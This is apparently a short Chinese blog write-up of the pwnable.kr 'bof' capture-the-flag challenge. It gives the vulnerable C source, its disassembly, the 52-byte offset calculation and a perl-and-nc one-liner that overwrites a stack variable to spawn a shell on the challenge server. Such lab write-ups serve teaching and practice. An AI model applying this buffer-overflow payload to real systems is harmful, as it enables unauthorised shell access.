bof

Posted by rk700 on November 15, 2014

代码如下

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme);
if(key == 0xcafebabe){
system("/bin/sh");
}
else {
printf("Nah..\n");
}
}

int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

可以看到很明显的溢出。我们之需要看汇编确定具体距离就行

0000062c <func>:
 62c:   55                      push   %ebp
 62d:   89 e5                   mov    %esp,%ebp
 62f:   83 ec 48                sub    $0x48,%esp
 632:   65 a1 14 00 00 00       mov    %gs:0x14,%eax
 638:   89 45 f4                mov    %eax,-0xc(%ebp)
 63b:   31 c0                   xor    %eax,%eax
 63d:   c7 04 24 8c 07 00 00    movl   $0x78c,(%esp)
 644:   e8 fc ff ff ff          call   645 <func+0x19>
 649:   8d 45 d4                lea    -0x2c(%ebp),%eax
 64c:   89 04 24                mov    %eax,(%esp)
 64f:   e8 fc ff ff ff          call   650 <func+0x24>
 654:   81 7d 08 be ba fe ca    cmpl   $0xcafebabe,0x8(%ebp)
 65b:   75 0e                   jne    66b <func+0x3f>
 65d:   c7 04 24 9b 07 00 00    movl   $0x79b,(%esp)
 664:   e8 fc ff ff ff          call   665 <func+0x39>
 669:   eb 0c                   jmp    677 <func+0x4b>
 66b:   c7 04 24 a3 07 00 00    movl   $0x7a3,(%esp)
 672:   e8 fc ff ff ff          call   673 <func+0x47>
 677:   8b 45 f4                mov    -0xc(%ebp),%eax
 67a:   65 33 05 14 00 00 00    xor    %gs:0x14,%eax
 681:   74 05                   je     688 <func+0x5c>
 683:   e8 fc ff ff ff          call   684 <func+0x58>
 688:   c9                      leave
 689:   c3                      ret

buffer到目的地的距离是0x2c+0x8=52。所以

$ (perl -e 'print "A"x52 . "\xbe\xba\xfe\xca\n"'; cat - ) | nc pwnable.kr 9000